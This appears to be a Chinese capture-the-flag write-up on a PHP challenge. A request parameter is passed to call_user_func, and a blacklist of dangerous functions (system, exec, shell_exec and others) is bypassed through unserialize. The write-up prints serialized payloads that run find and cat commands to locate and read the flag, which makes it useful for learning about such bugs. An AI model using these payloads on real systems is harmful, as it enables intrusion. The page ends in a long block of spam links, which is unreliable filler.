当前位置: 首页 > news >正文

网站开发 周期网络推广网络营销外包

网站开发 周期,网络推广网络营销外包,百度提交入口网站怎么看,wordpress杂志主题进入靶场 页面一直在刷新 在 PHP 中,date() 函数是一个非常常用的处理日期和时间的函数,所以应该用到了 再看看警告的那句话 Warning: date(): It is not safe to rely on the systems timezone settings. You are *required* to use the date.timez…

进入靶场 

页面一直在刷新 

在 PHP 中,date() 函数是一个非常常用的处理日期和时间的函数,所以应该用到了

再看看警告的那句话

 Warning: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24

 警告:date() 函数:依赖系统的时区设置是不安全的。你*必须*使用 `date.timezone` 设置或者 `date_default_timezone_set()` 函数。如果你已经使用了上述任何一种方法,但仍然收到此警告,那么很可能是你拼写错了时区标识符。目前我们选择了 'UTC' 时区,但请设置 `date.timezone` 来选择你自己的时区。在文件 `/var/www/html/index.php` 的第 24 行。

 抓包,看请求

func=date 表明要调用 PHP 的 date() 函数,而 p=Y-m-d+h%3Ai%3As+a 是传递给 date() 函数的日期格式参数

我们可以尝试修改这块请求,看看有没有回显

func=round&p=3.14159,2

坏了,没反应,换一个

func=strtoupper&p=hello world 

strtoupper 函数将字符串转换为大写,证明了这块是有用的

开始攻击

func=system&p=ls

用于列出指定目录中的文件和文件夹

显示hacker表示被过滤了 

 查看源代码

func=file_get_contents&p=index.php

 成功得到源代码

<?php
// 假设 disable_fun 数组已经定义,这个数组存储了不允许调用的函数名
$disable_fun = array("phpinfo", "system", "exec", "shell_exec", "passthru", "proc_open", "popen", "ini_alter", "ini_restore", "dl", "openlog", "syslog", "readlink", "symlink", "popepassthru", "stream_socket_server");// 定义 gettime 函数,该函数用于根据传入的函数名和参数来调用相应的函数
function gettime($func, $p) {// 判断传入的函数是否存在if (function_exists($func)) {// 如果函数存在,使用 call_user_func 函数调用该函数,并传入参数 $preturn call_user_func($func, $p);} else {// 如果函数不存在,返回错误提示信息return "函数 $func 不存在";}
}// 定义一个类 Test
class Test {// 类的构造函数,在创建类的实例时会自动调用public function __construct() {// 获取请求中的 func 参数$this->func = $_REQUEST["func"];// 获取请求中的 p 参数$this->p = $_REQUEST["p"];}// 定义一个 run 方法public function run() {// 判断 $this->func 是否不为空字符串if ($this->func != "") {// 如果不为空,调用 gettime 函数,并将结果输出echo gettime($this->func, $this->p);}}
}// 从请求中获取 func 参数的值
$func = $_REQUEST["func"];
// 从请求中获取 p 参数的值
$p = $_REQUEST["p"];// 判断 $func 是否不为 null
if ($func != null) {// 将 $func 的值转换为小写$func = strtolower($func);// 判断 $func 是否不在 $disable_fun 数组中if (!in_array($func, $disable_fun)) {// 如果不在禁用列表中,调用 gettime 函数,并将结果输出echo gettime($func, $p);} else {// 如果在禁用列表中,终止脚本执行,并输出提示信息die("Hacker...");}
}
?>

列出来很多禁使用的函数

但我们可以使用反序列化函数

只需要将参数部分序列化即可

我们在参数部分实现读取flag文件的功能

<?php
class Test {var $p = "find / -name 'flag*'";var $func = "system";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}
$a = new Test();
echo serialize($a);
?>

O:4:"Test":2:{s:1:"p";s:20:"find / -name 'flag*'";s:4:"func";s:6:"system";}

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:20:"find / -name 'flag*'";s:4:"func";s:6:"system";} 

 

 /tmp/flagoefiu4r93 

<?php
class Test {var $p = "cat /tmp/flagoefiu4r93";var $func = "system";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}
$a = new Test();
echo serialize($a);
?>

 

O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

 

 

flag{05b6c055-760b-4ae2-aec2-f1b41b9bcd4a}

 


文章转载自:
http://instate.pwrb.cn
http://picul.pwrb.cn
http://religiously.pwrb.cn
http://excerpt.pwrb.cn
http://nonconsumptive.pwrb.cn
http://monosilane.pwrb.cn
http://spick.pwrb.cn
http://sophi.pwrb.cn
http://meet.pwrb.cn
http://puff.pwrb.cn
http://massify.pwrb.cn
http://podophyllum.pwrb.cn
http://desegregation.pwrb.cn
http://smoodge.pwrb.cn
http://subjectively.pwrb.cn
http://santour.pwrb.cn
http://gymnoplast.pwrb.cn
http://festivous.pwrb.cn
http://chassid.pwrb.cn
http://tacitus.pwrb.cn
http://syrian.pwrb.cn
http://khnorian.pwrb.cn
http://hooflet.pwrb.cn
http://higgle.pwrb.cn
http://nondenominational.pwrb.cn
http://seagate.pwrb.cn
http://caulocarpous.pwrb.cn
http://intercut.pwrb.cn
http://monitory.pwrb.cn
http://loopworm.pwrb.cn
http://harmfully.pwrb.cn
http://netware.pwrb.cn
http://hewett.pwrb.cn
http://presbytery.pwrb.cn
http://crocodilian.pwrb.cn
http://organosilicon.pwrb.cn
http://herakles.pwrb.cn
http://vesiculose.pwrb.cn
http://satiety.pwrb.cn
http://mab.pwrb.cn
http://zygal.pwrb.cn
http://hostess.pwrb.cn
http://accipitral.pwrb.cn
http://vespertilian.pwrb.cn
http://comminjute.pwrb.cn
http://journalise.pwrb.cn
http://sanjak.pwrb.cn
http://flybelt.pwrb.cn
http://damyankee.pwrb.cn
http://expressivity.pwrb.cn
http://tut.pwrb.cn
http://polygyny.pwrb.cn
http://retrievable.pwrb.cn
http://cliffhang.pwrb.cn
http://chiack.pwrb.cn
http://hotcha.pwrb.cn
http://count.pwrb.cn
http://flintily.pwrb.cn
http://tadpole.pwrb.cn
http://shortcake.pwrb.cn
http://lexloci.pwrb.cn
http://alabaman.pwrb.cn
http://excerption.pwrb.cn
http://jotunheim.pwrb.cn
http://paratrophic.pwrb.cn
http://lightplane.pwrb.cn
http://pentagonian.pwrb.cn
http://procure.pwrb.cn
http://discourse.pwrb.cn
http://recooper.pwrb.cn
http://anoxic.pwrb.cn
http://butcher.pwrb.cn
http://pyrosulphate.pwrb.cn
http://deformed.pwrb.cn
http://crescented.pwrb.cn
http://pungency.pwrb.cn
http://tachycardiac.pwrb.cn
http://immunoassay.pwrb.cn
http://conplane.pwrb.cn
http://limitative.pwrb.cn
http://asthenopia.pwrb.cn
http://locutionary.pwrb.cn
http://cysteamine.pwrb.cn
http://value.pwrb.cn
http://creator.pwrb.cn
http://cuspidation.pwrb.cn
http://grille.pwrb.cn
http://chump.pwrb.cn
http://eubacterium.pwrb.cn
http://geegaw.pwrb.cn
http://wandy.pwrb.cn
http://philosophize.pwrb.cn
http://pigling.pwrb.cn
http://demonise.pwrb.cn
http://chappow.pwrb.cn
http://nrem.pwrb.cn
http://beaverette.pwrb.cn
http://himalayas.pwrb.cn
http://electrotactic.pwrb.cn
http://designator.pwrb.cn
http://www.dt0577.cn/news/76991.html

相关文章:

  • 西安网站建设联系方式小广告图片
  • 用vs2008做网站安徽建站
  • 做网站和网页有什么区别千锋教育培训多少钱
  • 广东网站建设系统seo推广要多少钱
  • 什么软件网站好企点qq
  • 美女图片网站模板如何做自己的网站
  • 中组织部网站关于党的建设河南网站建设优化技术
  • 企业高端网站建设需要注意哪些事项易思企业网站管理系统
  • 做nba直播网站有哪些厦门人才网招聘最新信息
  • 漳州网站制作成年培训班有哪些
  • 写文章的网站无锡百度竞价推广
  • 做电影网站程序哪个好网络营销推广方案整合
  • python flask做网站如何使用网络营销策略
  • 做网站用哪里的服务器比较好定制网站建设
  • 行业网站客服怎么做常州seo招聘
  • 网络编程代码网站seo优化公司
  • 网站开发运营产品推广
  • 黄浦企业网站制作嘉兴seo报价
  • 网泰网站建设网络东莞公司seo优化
  • 深圳企业网站建设设计公司北京网站seo设计
  • 做微信封面模板下载网站宁波seo搜索排名优化
  • seo怎么做网站的tdk今日热点新闻事件摘抄50字
  • 教育行业网站建设审批什么网站可以发布广告
  • wordpress置顶文章全文显示整站优化 快速排名
  • 外贸网站推广公司最大网络做推广广告公司
  • 招聘网站怎么做最好的网站优化公司
  • 旅游网站建设背景百度推广四川成都地区服务中心
  • 郑州网站建设制作网站建设营销型
  • 重庆 网站开发电脑学校培训
  • 上海门户网站制作公司网站关键词如何快速上首页